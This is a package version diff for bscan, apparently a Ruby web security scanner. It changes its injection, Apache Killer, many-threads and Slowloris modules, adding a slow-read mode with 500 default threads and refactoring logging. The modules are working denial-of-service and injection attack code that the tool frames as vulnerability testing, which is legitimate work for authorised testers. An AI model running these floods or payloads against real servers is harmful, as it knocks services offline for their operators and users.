bscan 1.4.5 → 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
- data/CONFIG.rdoc +18 -7
- data/README.rdoc +6 -3
- data/VERSION +1 -1
- data/bin/bscan +41 -3
- data/bscan.gemspec +2 -2
- data/lib/bscan.rb +11 -213
- data/lib/bscan/modules/injector.rb +23 -24
- data/lib/bscan/modules/kill_apache.rb +40 -36
- data/lib/bscan/modules/many_threads.rb +7 -8
- data/lib/bscan/modules/slowloris.rb +115 -100
- data/lib/bscan/utils/bscan_helper.rb +304 -11
- data/release_notes.txt +5 -0
- data/test.sh +1 -1
- metadata +2 -2
@@ -6,9 +6,8 @@ module Injector
|
|
6
6
|
|
7
7
|
def run *args
|
8
8
|
|
9
|
-
@
|
10
|
-
@
|
11
|
-
@bscan.activity[0]=true
|
9
|
+
@config ||= @bscan_config
|
10
|
+
@activity[0]=true
|
12
11
|
|
13
12
|
@prop_pref = 'bscan.injector.'
|
14
13
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
@@ -21,19 +20,19 @@ module Injector
|
|
21
20
|
end
|
22
21
|
|
23
22
|
url = msg.url.dup.to_s
|
24
|
-
|
23
|
+
Log 2, "#{@mid}run for #{url}"
|
25
24
|
begin
|
26
25
|
if (url =~ /([^?]+)\?(.+)/)
|
27
26
|
beg = "#{$1}?"
|
28
27
|
params = $2
|
29
|
-
|
28
|
+
Log 2, "#{@mid}run BEG: #{beg} PARAMS: #{params} FILE: #{@config[prop('file')]}"
|
30
29
|
injs = open_in_path(@config[prop('file')])
|
31
30
|
injs.each_line do |l|
|
32
31
|
l.chomp!
|
33
32
|
next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
|
34
|
-
|
33
|
+
Log 2, "#{@mid}run injecting: #{l}"
|
35
34
|
|
36
|
-
@
|
35
|
+
@activity[0]=true
|
37
36
|
|
38
37
|
do_scan(msg, beg + l, l) # in parameter name
|
39
38
|
do_scan(msg, beg.chop + l, l) # in URL
|
@@ -41,7 +40,7 @@ module Injector
|
|
41
40
|
pos=0
|
42
41
|
while (m=params.match(/([^&]+)=([^&]+)/,pos))
|
43
42
|
trg = beg + params[0..m.begin(2)-1] + l + params[m.end(2)..-1]
|
44
|
-
@
|
43
|
+
@activity[0]=true
|
45
44
|
do_scan(msg, trg, l)
|
46
45
|
pos=m.end(1)+1
|
47
46
|
end
|
@@ -52,8 +51,8 @@ module Injector
|
|
52
51
|
inject_to_body msg if @config['bscan.injector.one.inject_to_body'] == 'true'
|
53
52
|
|
54
53
|
rescue Exception => e
|
55
|
-
|
56
|
-
|
54
|
+
Log 0, "#{@mid}run Exception: #{e.message}"
|
55
|
+
Log 0, e.backtrace.join("\n")
|
57
56
|
end
|
58
57
|
end
|
59
58
|
|
@@ -61,10 +60,10 @@ module Injector
|
|
61
60
|
param = @config[prop('inject_instead_of')]
|
62
61
|
a=[]
|
63
62
|
if (not param or (a=param.split(':',3)).size < 3)
|
64
|
-
|
63
|
+
Log 0, "#{@mid}inject_to_pattern: 'inject_instead_of' parameter is not valid #{param}"
|
65
64
|
return
|
66
65
|
end
|
67
|
-
|
66
|
+
Log 2, "#{@mid}inject_to_pattern input: #{a.join('|')}"
|
68
67
|
begin
|
69
68
|
p,f,proto = Regexp.escape(a[0]), a[1], a[2]
|
70
69
|
file = open_in_path(f)
|
@@ -76,15 +75,15 @@ module Injector
|
|
76
75
|
injs.each_line do |l|
|
77
76
|
l.chomp!
|
78
77
|
next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
|
79
|
-
|
78
|
+
Log 2, "#{@mid}inject_to_pattern injecting: #{l}"
|
80
79
|
|
81
80
|
pos = 0
|
82
81
|
while (m=req.match(/(#{p}).*?(#{p})/,pos))
|
83
82
|
r = (req[0..m.begin(1)-1] + l + req[m.end(2)..-1]).gsub /#{p}(.*?)#{p}/,'\1'
|
84
83
|
|
85
|
-
|
84
|
+
Log 2, "#{@mid}inject_to_pattern new req:\n#{r}"
|
86
85
|
set_len r
|
87
|
-
@
|
86
|
+
@activity[0]=true
|
88
87
|
send_req r,proto,l
|
89
88
|
pos=m.end(1)
|
90
89
|
end
|
@@ -92,17 +91,17 @@ module Injector
|
|
92
91
|
injs.close
|
93
92
|
|
94
93
|
rescue Exception => e
|
95
|
-
|
96
|
-
|
94
|
+
Log 0, "#{@mid}inject_to_pattern Exception: #{e.message}"
|
95
|
+
Log 0, e.backtrace.join("\n")
|
97
96
|
end
|
98
97
|
|
99
98
|
end
|
100
99
|
|
101
100
|
def inject_to_body msg
|
102
101
|
scanf = false
|
103
|
-
|
102
|
+
Log 2, "#{@mid}inject_to_body req: #{msg.req_str}"
|
104
103
|
msg.request_headers.each do |a|
|
105
|
-
|
104
|
+
Log 2, "#{@mid}inject_to_body hdr: #{a[0]} #{a[1]}"
|
106
105
|
if a.size > 1 and a[0] =~ /content-type/i and a[1] =~ /application\/x-www-form-urlencoded/i
|
107
106
|
scanf = true
|
108
107
|
break
|
@@ -118,21 +117,21 @@ module Injector
|
|
118
117
|
injs.each_line do |l|
|
119
118
|
l.chomp!
|
120
119
|
next if (l =~ /^#{COMMENT_START}/ or l.length < 1)
|
121
|
-
|
120
|
+
Log 2, "#{@mid}inject_to_body injecting: #{l}"
|
122
121
|
pos=start_pos
|
123
122
|
while (m=msg.req_str.match(/([^=]+)=([^=]+)/,pos))
|
124
123
|
req = msg.req_str[0..m.begin(2)-1] + l + msg.req_str[m.end(2)..-1]
|
125
124
|
req.sub!(/content-length\s*:\s*\d+/i, "Content-Length: "+(req.length-start_pos).to_s)
|
126
|
-
|
127
|
-
@
|
125
|
+
Log 2, "#{@mid}inject_to_body #{pos} #{req}"
|
126
|
+
@activity[0]=true
|
128
127
|
send_req req, msg.getProtocol, l
|
129
128
|
pos=m.end(1)+1
|
130
129
|
end
|
131
130
|
end
|
132
131
|
injs.close
|
133
132
|
rescue Exception => e
|
134
|
-
|
135
|
-
|
133
|
+
Log 0, "#{@mid}inject_to_body Exception: #{e.message}"
|
134
|
+
Log 0, e.backtrace.join("\n")
|
136
135
|
end
|
137
136
|
end
|
138
137
|
|
@@ -7,9 +7,8 @@ require 'bscan/utils/bscan_helper.rb'
|
|
7
7
|
|
8
8
|
module KillApache
|
9
9
|
def run *args
|
10
|
-
@
|
11
|
-
@
|
12
|
-
@bscan.activity[0]=true
|
10
|
+
@config ||= @bscan_config
|
11
|
+
@activity[0]=true
|
13
12
|
|
14
13
|
@prop_pref = 'bscan.kill_apache.'
|
15
14
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
@@ -26,7 +25,7 @@ module KillApache
|
|
26
25
|
rtf ||= '10'
|
27
26
|
rtf = rtf.to_i
|
28
27
|
rpt = @config[prop('req_per_thread')]
|
29
|
-
rpt ||= '
|
28
|
+
rpt ||= '10'
|
30
29
|
rpt = rpt.to_i
|
31
30
|
@rto = @config[prop('read_timeout')]
|
32
31
|
@rto ||= '10'
|
@@ -54,7 +53,7 @@ module KillApache
|
|
54
53
|
end
|
55
54
|
req.sub!(/@@@/,inj)
|
56
55
|
|
57
|
-
|
56
|
+
Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
|
58
57
|
|
59
58
|
@threadinfo = {}
|
60
59
|
threads.times do |t|
|
@@ -70,16 +69,31 @@ module KillApache
|
|
70
69
|
|
71
70
|
rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
|
72
71
|
|
73
|
-
|
72
|
+
Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
|
74
73
|
|
74
|
+
threads.times do |t|
|
75
|
+
Thread.new do
|
76
|
+
begin
|
77
|
+
Log 2, "#{@mid}run thread: #{t} #{rpt}"
|
78
|
+
for con in 0..rpt-1
|
79
|
+
send_get_rsp host,port,req,proto,t,con
|
80
|
+
end
|
81
|
+
rescue Exception => e
|
82
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
83
|
+
Log 1, e.backtrace.join("\n")
|
84
|
+
Thread.current.exit
|
85
|
+
end
|
86
|
+
end
|
87
|
+
end
|
88
|
+
|
75
89
|
# Monitoring thread
|
76
|
-
|
90
|
+
mont = Thread.new do
|
77
91
|
maxtime=0
|
78
92
|
while (true)
|
79
93
|
begin
|
80
94
|
sleep 2.5
|
81
95
|
rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
|
82
|
-
|
96
|
+
Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
|
83
97
|
maxtime = rt if rt > nrt*rtf && rt > maxtime
|
84
98
|
ex = true
|
85
99
|
tnum = 0
|
@@ -97,39 +111,29 @@ module KillApache
|
|
97
111
|
end
|
98
112
|
tnum += 1 if inc_t
|
99
113
|
end
|
100
|
-
|
114
|
+
Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
|
101
115
|
break if ex
|
102
116
|
rescue Exception => e
|
103
|
-
|
104
|
-
|
117
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
118
|
+
Log 1, e.backtrace.join("\n")
|
105
119
|
end
|
106
120
|
end
|
107
|
-
|
121
|
+
Log 1, "#{@mid}run exiting monitor: #{maxtime}"
|
108
122
|
if maxtime > 0
|
109
123
|
issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp,
|
110
124
|
"Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
|
111
|
-
|
125
|
+
write_issue_state issue
|
112
126
|
end
|
113
127
|
end
|
114
128
|
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
|
119
|
-
for con in 0..rpt-1
|
120
|
-
send_get_rsp host,port,req,proto,t,con
|
121
|
-
end
|
122
|
-
rescue Exception => e
|
123
|
-
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
124
|
-
@bscan.Log 1, e.backtrace.join("\n")
|
125
|
-
Thread.current.exit
|
126
|
-
end
|
127
|
-
end
|
128
|
-
end
|
129
|
+
|
130
|
+
mont.join
|
131
|
+
|
132
|
+
|
129
133
|
end
|
130
134
|
|
131
135
|
def send_get_rsp host,port,req,proto,t,c
|
132
|
-
@
|
136
|
+
@activity[0]=true
|
133
137
|
@threadinfo[t][c] = 1
|
134
138
|
rsp =''
|
135
139
|
s=nil
|
@@ -144,19 +148,19 @@ module KillApache
|
|
144
148
|
end
|
145
149
|
l = s.syswrite(req)
|
146
150
|
raise "only #{l} bytes out of #{req.length} written #{t} #{req}" if l != req.length
|
147
|
-
rsp =
|
148
|
-
|
151
|
+
rsp = read_response_socket s
|
152
|
+
Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
|
149
153
|
end
|
150
154
|
rescue Exception => e
|
151
|
-
|
152
|
-
|
155
|
+
Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
|
156
|
+
Log 1, e.backtrace.join("\n")
|
153
157
|
@threadinfo[t][c] = nil
|
154
158
|
end
|
155
159
|
|
156
160
|
begin
|
157
161
|
s.close if s
|
158
162
|
rescue Exception => e
|
159
|
-
|
163
|
+
Log 1, "#{@mid}send_get_rsp close for #{t} Exception: #{e.message}"
|
160
164
|
end
|
161
165
|
@threadinfo[t][c] = 0
|
162
166
|
|
@@ -168,16 +172,16 @@ module KillApache
|
|
168
172
|
@threadinfo[t] ||= {}
|
169
173
|
rsp = ''
|
170
174
|
start = Time.now
|
171
|
-
@
|
175
|
+
@activity[0]=true
|
172
176
|
begin
|
173
177
|
rsp = send_get_rsp host,port,req,proto,t,0
|
174
178
|
rescue Exception => e
|
175
|
-
|
179
|
+
Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
|
176
180
|
end
|
177
181
|
[rsp,Time.now - start]
|
178
182
|
end
|
179
183
|
|
180
|
-
def
|
184
|
+
def read_response_socket s
|
181
185
|
rsp=''
|
182
186
|
begin
|
183
187
|
while (ch=s.sysread(1))
|
@@ -3,10 +3,9 @@ require 'bscan/utils/bscan_helper.rb'
|
|
3
3
|
module ManyThreads
|
4
4
|
|
5
5
|
def run *args
|
6
|
-
@
|
7
|
-
@config ||= @bscan.bscan_config
|
6
|
+
@config ||= @bscan_config
|
8
7
|
|
9
|
-
@
|
8
|
+
@activity[0]=true
|
10
9
|
|
11
10
|
@prop_pref = 'bscan.many_threads.'
|
12
11
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
@@ -15,12 +14,12 @@ module ManyThreads
|
|
15
14
|
param = @config[prop('request')]
|
16
15
|
a=[]
|
17
16
|
if (not param or (a=param.split(':',3)).size < 2)
|
18
|
-
|
17
|
+
Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
|
19
18
|
return
|
20
19
|
end
|
21
20
|
threads = @config[prop('threads')]
|
22
21
|
threads ||= '10'
|
23
|
-
|
22
|
+
Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
|
24
23
|
|
25
24
|
threads = threads.to_i
|
26
25
|
|
@@ -40,13 +39,13 @@ module ManyThreads
|
|
40
39
|
file.close
|
41
40
|
threads.times do
|
42
41
|
Thread.new() {
|
43
|
-
@
|
42
|
+
@activity[0]=true
|
44
43
|
send_req req, proto, ''
|
45
44
|
}
|
46
45
|
end
|
47
46
|
rescue Exception => e
|
48
|
-
|
49
|
-
|
47
|
+
Log 0, "#{@mid}run Exception: #{e.message}"
|
48
|
+
Log 0, e.backtrace.join("\n")
|
50
49
|
end
|
51
50
|
end
|
52
51
|
end
|
@@ -1,3 +1,4 @@
|
|
1
|
+
require "java"
|
1
2
|
require "socket"
|
2
3
|
require "thread"
|
3
4
|
require "openssl"
|
@@ -5,39 +6,25 @@ require "openssl"
|
|
5
6
|
require 'bscan/utils/bscan_helper.rb'
|
6
7
|
|
7
8
|
module Slowloris
|
9
|
+
|
8
10
|
def run *args
|
9
|
-
@bscan = args[0]
|
10
|
-
@config ||= @bscan.bscan_config
|
11
|
-
@bscan.activity[0]=true
|
12
11
|
|
13
12
|
@prop_pref = 'bscan.slowloris.'
|
14
13
|
@prop_pref += args[2] + '.' if args[2] && args[2].length > 0
|
15
14
|
@mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.'
|
16
15
|
begin
|
17
|
-
proto = @config[prop('protocol')]
|
18
|
-
proto ||= 'http'
|
19
|
-
|
20
|
-
threads = @config[prop('threads')]
|
21
|
-
threads ||= '20'
|
22
|
-
threads = threads.to_i
|
23
|
-
|
24
|
-
rtf = @config[prop('response_time_factor')]
|
25
|
-
rtf ||= '5'
|
26
|
-
rtf = rtf.to_i
|
27
|
-
slt = @config[prop('sleep_time')]
|
28
|
-
slt ||= '100'
|
29
|
-
slt = slt.to_i
|
30
|
-
cn = @config[prop('con_nbr_per_thread')]
|
31
|
-
cn ||= 50
|
32
|
-
cn = cn.to_i
|
33
|
-
ppc = @config[prop('pack_per_con')]
|
34
|
-
ppc ||= 5
|
35
|
-
ppc = ppc.to_i
|
36
16
|
|
37
|
-
|
38
|
-
|
17
|
+
dlw = get_par 'delay_on_write',true
|
18
|
+
proto = get_par 'protocol', 'http'
|
19
|
+
threads = get_par 'threads', dlw ? 500:20
|
20
|
+
rtf = get_par 'response_time_factor',5
|
21
|
+
slt = get_par 'sleep_time', dlw ? 5:100
|
22
|
+
cn = get_par 'con_per_thread', dlw ? 1:50
|
23
|
+
ppc = get_par 'pack_per_con', dlw ? 50:5
|
24
|
+
hli = get_par 'health_check_int', 2
|
25
|
+
http_method = get_par 'method', 'POST'
|
26
|
+
req = @bscan_config[prop('request')]
|
39
27
|
|
40
|
-
req = @config[prop('request')]
|
41
28
|
nreq = nil
|
42
29
|
if req
|
43
30
|
file = open_in_path(req)
|
@@ -46,7 +33,7 @@ module Slowloris
|
|
46
33
|
file.close
|
47
34
|
nreq = req
|
48
35
|
else
|
49
|
-
host =
|
36
|
+
host = get_par 'hostport',''
|
50
37
|
host,port = host.split(':') if host
|
51
38
|
raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
|
52
39
|
req = "#{http_method} /@@@ HTTP/1.1\r\n" +
|
@@ -61,7 +48,7 @@ module Slowloris
|
|
61
48
|
end
|
62
49
|
|
63
50
|
|
64
|
-
|
51
|
+
Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port} #{proto} #{dlw}\n#{req}"
|
65
52
|
# rsp,nrt = get_normal_response_time nreq,proto
|
66
53
|
@threadinfo = {}
|
67
54
|
trg,host,port = get_url_host_port req,proto
|
@@ -69,17 +56,56 @@ module Slowloris
|
|
69
56
|
@infom ||= Mutex.new
|
70
57
|
|
71
58
|
rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
|
72
|
-
|
59
|
+
Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
|
73
60
|
|
61
|
+
threads.times do |t|
|
62
|
+
|
63
|
+
@infom.lock
|
64
|
+
@threadinfo[t] = {}
|
65
|
+
@infom.unlock
|
66
|
+
|
67
|
+
for con in 0..cn-1
|
68
|
+
@infom.lock
|
69
|
+
@threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
|
70
|
+
@infom.unlock
|
71
|
+
end
|
72
|
+
|
73
|
+
Thread.new do
|
74
|
+
begin
|
75
|
+
Log 2, "#{@mid}run thread: #{t} #{cn}"
|
76
|
+
if (!dlw)
|
77
|
+
make_conns cn,host,port,req,proto,t
|
78
|
+
for pcnt in 0..ppc-1
|
79
|
+
Log 2, "#{@mid}run after sleep: #{t} #{cn}"
|
80
|
+
for con in 0..cn-1
|
81
|
+
send_more host,port,proto,t,con
|
82
|
+
end
|
83
|
+
sleep slt
|
84
|
+
end
|
85
|
+
else
|
86
|
+
for pcnt in 0..ppc-1
|
87
|
+
Log 2, "#{@mid}run sending pack #{pcnt}: #{t} #{cn}"
|
88
|
+
for con in 0..cn-1
|
89
|
+
send_slow host,port,nreq,proto,t,con,true,slt
|
90
|
+
end
|
91
|
+
end
|
92
|
+
end
|
93
|
+
raise Exception => e
|
94
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
95
|
+
Log 1, e.backtrace.join("\n")
|
96
|
+
Thread.current.exit
|
97
|
+
end
|
98
|
+
end
|
99
|
+
end
|
100
|
+
|
74
101
|
# Monitoring thread
|
75
|
-
Thread.new do
|
102
|
+
mont = Thread.new do
|
76
103
|
maxtime=0
|
77
104
|
while (true)
|
78
105
|
begin
|
79
|
-
|
80
|
-
sleep dl < 10 ? 10 : dl
|
106
|
+
sleep hli
|
81
107
|
rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
|
82
|
-
|
108
|
+
Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
|
83
109
|
maxtime = rt if rt > nrt*rtf && rt > maxtime
|
84
110
|
ex = true
|
85
111
|
tnum = 0
|
@@ -95,61 +121,29 @@ module Slowloris
|
|
95
121
|
end
|
96
122
|
tnum += 1 if inc_t
|
97
123
|
end
|
98
|
-
|
124
|
+
Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{hli} sec"
|
99
125
|
break if ex
|
100
126
|
rescue Exception => e
|
101
|
-
|
102
|
-
|
127
|
+
Log 1, "#{@mid}run Exception: #{e.message}"
|
128
|
+
Log 1, e.backtrace.join("\n")
|
103
129
|
end
|
104
130
|
end
|
105
|
-
|
131
|
+
Log 2, "#{@mid}run exiting monitor: #{maxtime}"
|
106
132
|
if maxtime > 0
|
107
|
-
issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp,
|
133
|
+
issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", dlw ? nreq:req, rsp,
|
108
134
|
"Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
|
109
|
-
|
135
|
+
write_issue_state issue
|
110
136
|
end
|
137
|
+
close_all
|
111
138
|
end
|
112
|
-
|
113
|
-
|
114
139
|
|
140
|
+
mont.join()
|
115
141
|
|
116
|
-
|
117
|
-
threads.times do |t|
|
118
|
-
|
119
|
-
@infom.lock
|
120
|
-
@threadinfo[t] = {}
|
121
|
-
@infom.unlock
|
122
|
-
|
123
|
-
for con in 0..cn-1
|
124
|
-
@infom.lock
|
125
|
-
@threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
|
126
|
-
@infom.unlock
|
127
|
-
end
|
128
|
-
|
129
|
-
Thread.new do
|
130
|
-
begin
|
131
|
-
@bscan.Log 2, "#{@mid}run thread: #{t} #{cn}"
|
132
|
-
make_conns cn,host,port,req,proto,t
|
133
|
-
for pcnt in 0..ppc-1
|
134
|
-
@bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}"
|
135
|
-
for con in 0..cn-1
|
136
|
-
send_more host,port,proto,t,con
|
137
|
-
end
|
138
|
-
sleep slt
|
139
|
-
end
|
140
|
-
raise Exception => e
|
141
|
-
@bscan.Log 1, "#{@mid}run Exception: #{e.message}"
|
142
|
-
@bscan.Log 1, e.backtrace.join("\n")
|
143
|
-
Thread.current.exit
|
144
|
-
end
|
145
|
-
end
|
146
|
-
end
|
147
|
-
close_all
|
148
142
|
|
149
143
|
|
150
144
|
rescue Exception => e
|
151
|
-
|
152
|
-
|
145
|
+
Log 0, "#{@mid}run Exception: #{e.message}"
|
146
|
+
Log 0, e.backtrace.join("\n")
|
153
147
|
end
|
154
148
|
end
|
155
149
|
def update_info t,con,val
|
@@ -169,11 +163,11 @@ module Slowloris
|
|
169
163
|
end
|
170
164
|
end
|
171
165
|
|
172
|
-
def make_conns nbr,host,port,req,proto,t
|
173
|
-
|
166
|
+
def make_conns nbr,host,port,req,proto,t,readto=0
|
167
|
+
Log 2, "#{@mid}make_conns: #{t} #{nbr}"
|
174
168
|
nbr.times do |con|
|
175
|
-
|
176
|
-
send_slow host,port,req,proto,t,con
|
169
|
+
Log 2, "#{@mid}make_conns connection: #{t} #{con}"
|
170
|
+
send_slow host,port,req,proto,t,con,true,readto
|
177
171
|
end
|
178
172
|
end
|
179
173
|
|
@@ -181,18 +175,19 @@ module Slowloris
|
|
181
175
|
send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
|
182
176
|
end
|
183
177
|
|
184
|
-
def send_slow host,port,req,proto,t,con,reopen=true
|
185
|
-
@bscan.activity[0]=true
|
178
|
+
def send_slow host,port,req,proto,t,con,reopen=true,readto=0
|
179
|
+
# @bscan.activity[0]=true
|
186
180
|
begin
|
187
181
|
s = @threadinfo[t][con]
|
188
182
|
rndr = random_url(req)
|
189
183
|
|
190
184
|
if !s || s.closed? || s.syswrite(rndr) != rndr.length
|
191
185
|
s.close if s && !s.closed?
|
192
|
-
raise "can't send more, connection closed #{host} #{port} #{t} #{con}" if not reopen
|
186
|
+
raise "can't send more, connection closed #{host} #{port} #{t} #{con} #{readto}" if not reopen
|
193
187
|
|
194
|
-
@bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
|
195
188
|
s = TCPSocket.new(host, port)
|
189
|
+
Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con} #{readto}"
|
190
|
+
# Log 2, "#{@mid}send_slow socket# #{`netstat -n | wc -l`.chomp}"
|
196
191
|
if (proto =~ /https/i)
|
197
192
|
ctx = OpenSSL::SSL::SSLContext.new
|
198
193
|
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
@@ -202,10 +197,15 @@ module Slowloris
|
|
202
197
|
update_info t,con,s
|
203
198
|
end
|
204
199
|
s.syswrite(rndr)
|
205
|
-
|
206
|
-
|
200
|
+
Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}"
|
201
|
+
Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
|
202
|
+
if readto > 0
|
203
|
+
rsp = read_response s,readto
|
204
|
+
Log 2, "#{@mid}send_slow rsp #{t} #{con}\n#{rsp}"
|
205
|
+
end
|
207
206
|
rescue Exception => e
|
208
|
-
|
207
|
+
Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message} #{e.to_s}"
|
208
|
+
Log 1, e.backtrace.join("\n")
|
209
209
|
begin
|
210
210
|
s.close
|
211
211
|
rescue
|
@@ -222,7 +222,7 @@ module Slowloris
|
|
222
222
|
@threadinfo[t] ||= {}
|
223
223
|
rsp = ''
|
224
224
|
start = Time.now
|
225
|
-
@bscan.activity[0]=true
|
225
|
+
# @bscan.activity[0]=true
|
226
226
|
req = random_url req
|
227
227
|
begin
|
228
228
|
send_slow host,port,req,proto,t,0
|
@@ -232,7 +232,7 @@ module Slowloris
|
|
232
232
|
end
|
233
233
|
rsp = read_response s
|
234
234
|
rescue Exception => e
|
235
|
-
|
235
|
+
Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
|
236
236
|
end
|
237
237
|
begin
|
238
238
|
s.close
|
@@ -242,22 +242,37 @@ module Slowloris
|
|
242
242
|
[rsp,Time.now - start]
|
243
243
|
end
|
244
244
|
|
245
|
-
def read_response s
|
245
|
+
def read_response s,to=0
|
246
246
|
rsp=''
|
247
|
-
|
248
|
-
|
249
|
-
|
250
|
-
|
251
|
-
|
252
|
-
|
253
|
-
|
254
|
-
rsp +=
|
255
|
-
|
256
|
-
|
247
|
+
begin
|
248
|
+
while (ch=s.sysread(1))
|
249
|
+
rsp += ch
|
250
|
+
return rsp if msg_end rsp
|
251
|
+
if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
|
252
|
+
len = $1.to_i
|
253
|
+
while (c=s.sysread(1))
|
254
|
+
rsp += c
|
255
|
+
if msg_end rsp
|
256
|
+
break if len <= 0
|
257
|
+
if (to <= 0)
|
258
|
+
rsp += s.sysread(len)
|
259
|
+
else
|
260
|
+
Log 2, "#{@mid}read_response len #{len} #{to} #{Float(to)/len}"
|
261
|
+
len.times do |n|
|
262
|
+
rsp += s.sysread(1)
|
263
|
+
sleep Float(to)/len
|
264
|
+
end
|
265
|
+
end
|
266
|
+
break
|
267
|
+
end
|
268
|
+
end
|
269
|
+
break
|
257
270
|
end
|
258
|
-
break
|
259
271
|
end
|
260
|
-
|
272
|
+
rescue Exception => e
|
273
|
+
Log 1, "#{@mid}read_response Exception #{e.message}\n#{rsp}"
|
274
|
+
Log 1, e.backtrace.join("\n")
|
275
|
+
end
|
261
276
|
rsp
|
262
277
|
end
|
263
278
|
end
|